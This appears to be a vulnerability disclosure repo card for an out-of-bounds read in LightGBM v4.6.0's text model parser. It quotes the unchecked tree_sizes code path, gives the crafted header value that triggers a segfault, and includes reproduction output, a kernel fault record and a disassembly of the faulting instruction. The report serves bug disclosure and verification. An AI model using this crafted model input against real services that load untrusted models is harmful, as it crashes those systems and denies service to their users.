YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
LightGBM v4.6.0 text-model-loader OOB read (CWE-125)
Target: microsoft/LightGBM v4.6.0 (pip wheel lightgbm==4.6.0, lib_lightgbm.so,
BuildID b4ba0e67260c22e3c55ad551a47c2fc89c71a021)
Sink: src/boosting/gbdt_model_text.cpp:547-570, GBDT::LoadModelFromString,
tree_sizes fast-path:
std::vector<size_t> tree_sizes = CommonC::StringToArray<size_t>(key_vals["tree_sizes"].c_str(), ' ');
std::vector<size_t> tree_boundaries(tree_sizes.size() + 1, 0);
int num_trees = static_cast<int>(tree_sizes.size());
for (int i = 0; i < num_trees; ++i) {
tree_boundaries[i + 1] = tree_boundaries[i] + tree_sizes[i]; // unchecked cumulative sum
models_.emplace_back(nullptr);
}
#pragma omp parallel for num_threads(OMP_NUM_THREADS()) schedule(static)
for (int i = 0; i < num_trees; ++i) {
auto cur_p = p + tree_boundaries[i]; // NO check that cur_p < end / within buffer
auto line_len = Common::GetLine(cur_p); // unbounded while(*str) scan
...
}
Common::GetLine (include/LightGBM/utils/common.h:854) is while (*str != '\0' && *str != '\n' && *str != '\r') ++str; β an attacker-controlled tree_boundaries[i] offset is
dereferenced with no comparison against the real buffer length, before any byte of the
buffer at that offset is known to be valid.
PoC construction (the reorder fix)
tree_boundaries[i+1] = tree_boundaries[i] + tree_sizes[i], so tree_boundaries[1] equals
tree_sizes[0] (the first element), and it is tree_boundaries[i] β not tree_sizes[i]
itself β that gets dereferenced at each loop iteration i. A naive PoC that puts the huge
value last in tree_sizes (e.g. "1 999999999999") lands the huge value in
tree_boundaries[2], which is never dereferenced when num_trees == 2 (loop only runs
i = 0, 1, using tree_boundaries[0] and tree_boundaries[1]) β so it doesn't crash.
The fix applied here: tree_sizes=999999999999 1
tree_boundaries[0] = 0βi=0:cur_p = p + 0, lands exactly on the realTree=0block β parses fine (keeps the crash isolated to the intended sink, not a parse error elsewhere).tree_boundaries[1] = 999999999999βi=1:cur_p = p + 999999999999, a ~10^12-byte wild offset from a ~3KB heap buffer β guaranteed unmapped page β SIGSEGV insideCommon::GetLine's first*strdereference.
Full crafted model text: crafted_oob_large.txt. It is a real, working single-tree LightGBM
regression model (trained on tiny synthetic data, dumped via Booster.model_to_string())
with only the tree_sizes= header line modified from tree_sizes=301 to
tree_sizes=999999999999 1.
Reachability (public API, no file-system trust boundary needed)
lightgbm.Booster(model_str=<crafted text>)
-> LGBM_BoosterLoadModelFromString (src/c_api.cpp:1960)
-> Booster::LoadModelFromString (src/c_api.cpp:786, len = strlen(model_str))
-> GBDT::LoadModelFromString (src/boosting/gbdt_model_text.cpp:421) tree_sizes branch
Loading a LightGBM text model from an untrusted string/file (a common "load someone else's
model" scenario, e.g. deserializing a model artifact from a registry / user upload) reaches
this sink directly, with no sanitization of tree_sizes anywhere on the path.
Reproduction
Environment: WSL2 Ubuntu 22.04, pip install lightgbm==4.6.0 (official manylinux wheel,
no source build / no ASan needed β the crash is a plain unguarded OOB read, reproducible
on the stock release binary).
$ python3 negative_control_load.py
[negative_control] loading model_str (3081 bytes) via tree_sizes fast-path
[negative_control] OK - loaded cleanly, predict() -> [1.55]
$ python3 trigger_oob_large.py
[trigger] model_str length = 3092 bytes
[trigger] tree_sizes header line:
tree_sizes=999999999999 1
[trigger] calling lightgbm.Booster(model_str=...) -> should OOB read / SIGSEGV
Segmentation fault (core dumped)
$ echo $?
139
- Negative control (
negative_control.txt, correcttree_sizes=301matching the real tree, exact same code path / same fast-path taken): loads cleanly and predicts correctly. Proves the crash below is caused specifically by the malicioustree_sizesvalue, not by model shape, the harness, or the tree_sizes fast-path in general. - Malicious model:
SIGSEGV, exit code 139, core dumped. Reproduced twice independently (PIDs 29795 and 30611, two separate process launches with different ASLR bases) β both crash at the identical instruction offset, confirming deterministic behavior, not a fluke.
Kernel-level confirmation (crash_disasm.txt, crash_symbol.txt, run_transcript.txt)
Kernel segfault record (WSL2 dmesg/journalctl):
python3[29795]: segfault at 63d9db944def ip 00007754ce5a7b45 sp 0000775474c07d50 error 4
in lib_lightgbm.so[1a7b45,7754ce529000+68e000] likely on CPU 0 (core 0, socket 0)
error 4= user-mode read fault on a not-present page β hardware-level confirmation this is an OOB READ (CWE-125), not a write.- Register dump shows
R15 = 000063d9db944def, identical to the fault address β i.e. the crash is a single dereference of a wild pointer held inr15.
addr2line -f -C -e lib_lightgbm.so 0x1a7b45:
LightGBM::GBDT::LoadModelFromString(char const*, unsigned long) [clone ._omp_fn.0]
gbdt_model_text.cpp:?
The fault offset symbolicates directly to the OpenMP-outlined body of
GBDT::LoadModelFromString in gbdt_model_text.cpp β the exact target function.
objdump -d at the fault site:
1a7b41: add (%rsi,%rbp,1),%r15 ; r15 = p + tree_boundaries[i] (cur_p)
1a7b45: movzbl (%r15),%ecx ; *cur_p <-- FAULTS HERE
1a7b49: cmp $0xd,%cl
1a7b4c: ja ...
1a7b4e: bt %rcx,%r13 ; bitmask test for {'\0','\n','\r'}
This is the compiled form of Common::GetLine's while (*str != '\0' && *str != '\n' && *str != '\r') loop condition β the add computes cur_p = p + tree_boundaries[i]
immediately before the faulting byte load. Instruction-level match to the source-level sink.
Files
crafted_oob_large.txtβ malicious model text (tree_sizes=999999999999 1)negative_control.txtβ same model, correcttree_sizes=301, loads cleantrigger_oob_large.pyβ loads the crafted model vialightgbm.Booster(model_str=...)negative_control_load.pyβ loads the negative control, asserts clean predict()run_transcript.txtβ full stdout/stderr + kernel fault records from a live runcrash_symbol.txtβaddr2linesymbolication of the fault RIPcrash_disasm.txtβobjdump -dof the fault site
Dedup note
CVE-2024-43598 / GHSA-2586-f3p4-hq84 is an OOB write in src/network/linkers_socket.cpp
during distributed-training peer negotiation (a network-triggered race), fixed pre-4.6.0.
This finding is a model-file text-parser OOB read in a completely different subsystem
(src/boosting/gbdt_model_text.cpp, single-process model loading, no network component),
present and unfixed as of v4.6.0 (current tag at time of testing). Categorically distinct
bug shape, sink, trigger vector, and CWE class (125 read vs. write) β not a duplicate.